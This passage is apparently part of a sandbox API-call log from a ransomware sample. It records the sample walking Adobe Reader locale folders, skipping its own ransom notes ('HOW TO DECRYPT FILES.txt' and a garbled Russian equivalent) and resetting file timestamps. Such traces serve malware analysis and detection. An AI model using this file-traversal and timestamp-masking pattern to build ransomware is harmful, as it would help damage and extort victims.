10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0x20 [0070.466] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="EScript.CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE" [0070.467] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x74, dwReserved1=0x0, cFileName="IA32.CZE", cAlternateFileName="")) returned 1 [0070.467] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.467] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IA32.CZE") returned -1 [0070.467] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IA32.CZE") returned -1 [0070.467] lstrcmpiA (lpString1="", lpString2="IA32.CZE") returned -1 [0070.467] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE") returned="EScript.CZE" [0070.467] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.467] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.467] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.467] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0x20 [0070.467] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="makeaccessible.CZE", cAlternateFileName="MAKEAC~1.CZE")) returned 1 [0070.467] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.467] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="makeaccessible.CZE") returned -1 [0070.467] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="makeaccessible.CZE") returned -1 [0070.467] lstrcmpiA (lpString1="", lpString2="makeaccessible.CZE") returned -1 [0070.468] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\IA32.CZE") returned="IA32.CZE" [0070.468] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.468] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.468] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x74, dwReserved1=0x0, cFileName="Multimedia.CZE", cAlternateFileName="MULTIM~1.CZE")) returned 1 [0070.468] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.468] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Multimedia.CZE") returned -1 [0070.468] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Multimedia.CZE") returned -1 [0070.468] lstrcmpiA (lpString1="", lpString2="Multimedia.CZE") returned -1 [0070.468] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\makeaccessible.CZE") returned="makeaccessible.CZE" [0070.468] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.468] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.469] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="pddom.CZE", cAlternateFileName="")) returned 1 [0070.469] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.469] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pddom.CZE") returned -1 [0070.469] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pddom.CZE") returned -1 [0070.469] lstrcmpiA (lpString1="", lpString2="pddom.CZE") returned -1 [0070.469] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Multimedia.CZE") returned="Multimedia.CZE" [0070.469] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.469] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.469] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x74, dwReserved1=0x0, cFileName="PPKLite.CZE", cAlternateFileName="")) returned 1 [0070.469] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.469] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PPKLite.CZE") returned -1 [0070.469] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PPKLite.CZE") returned -1 [0070.469] lstrcmpiA (lpString1="", lpString2="PPKLite.CZE") returned -1 [0070.469] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\pddom.CZE") returned="pddom.CZE" [0070.469] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.469] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.470] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807c95c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145000, dwReserved0=0x74, dwReserved1=0x0, cFileName="RdLang32.CZE", cAlternateFileName="")) returned 1 [0070.470] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.470] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RdLang32.CZE") returned -1 [0070.470] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RdLang32.CZE") returned -1 [0070.470] lstrcmpiA (lpString1="", lpString2="RdLang32.CZE") returned -1 [0070.470] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\PPKLite.CZE") returned="PPKLite.CZE" [0070.470] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.470] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.470] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="ReadOutLoud.CZE", cAlternateFileName="READOU~1.CZE")) returned 1 [0070.470] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.470] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ReadOutLoud.CZE") returned -1 [0070.470] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ReadOutLoud.CZE") returned -1 [0070.470] lstrcmpiA (lpString1="", lpString2="ReadOutLoud.CZE") returned -1 [0070.470] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\RdLang32.CZE") returned="RdLang32.CZE" [0070.470] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.470] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.471] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x74, dwReserved1=0x0, cFileName="reflow.CZE", cAlternateFileName="")) returned 1 [0070.471] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.471] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="reflow.CZE") returned -1 [0070.471] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="reflow.CZE") returned -1 [0070.471] lstrcmpiA (lpString1="", lpString2="reflow.CZE") returned -1 [0070.471] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\ReadOutLoud.CZE") returned="ReadOutLoud.CZE" [0070.471] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.471] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.471] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x74, dwReserved1=0x0, cFileName="SaveAsRTF.CZE", cAlternateFileName="SAVEAS~1.CZE")) returned 1 [0070.471] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.471] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SaveAsRTF.CZE") returned -1 [0070.471] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SaveAsRTF.CZE") returned -1 [0070.471] lstrcmpiA (lpString1="", lpString2="SaveAsRTF.CZE") returned -1 [0070.471] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\reflow.CZE") returned="reflow.CZE" [0070.471] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.471] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.472] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Search.CZE", cAlternateFileName="")) returned 1 [0070.472] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.472] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Search.CZE") returned -1 [0070.472] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Search.CZE") returned -1 [0070.472] lstrcmpiA (lpString1="", lpString2="Search.CZE") returned -1 [0070.472] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SaveAsRTF.CZE") returned="SaveAsRTF.CZE" [0070.472] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.472] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.472] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="SendMail.CZE", cAlternateFileName="")) returned 1 [0070.472] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.472] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SendMail.CZE") returned -1 [0070.472] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SendMail.CZE") returned -1 [0070.472] lstrcmpiA (lpString1="", lpString2="SendMail.CZE") returned -1 [0070.472] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Search.CZE") returned="Search.CZE" [0070.472] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.472] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.473] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0070.473] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.473] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.473] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SendMail.CZE") returned="SendMail.CZE" [0070.473] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.474] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.474] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.474] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.474] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.474] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9342, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0070.475] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.475] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DEXShare.asfx") returned 1 [0070.475] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DEXShare.asfx") returned 1 [0070.475] lstrcmpiA (lpString1="", lpString2="DEXShare.asfx") returned -1 [0070.475] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*.*") returned="*.*" [0070.475] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\" [0070.475] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\") returned="" [0070.480] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.480] CloseHandle (hObject=0x98) returned 1 [0070.481] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0070.481] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.481] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Services.asfx") returned -1 [0070.481] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Services.asfx") returned -1 [0070.481] lstrcmpiA (lpString1="", lpString2="Services.asfx") returned -1 [0070.481] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx") returned="DEXShare.asfx" [0070.481] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\" [0070.481] PathAddBackslashA (in: 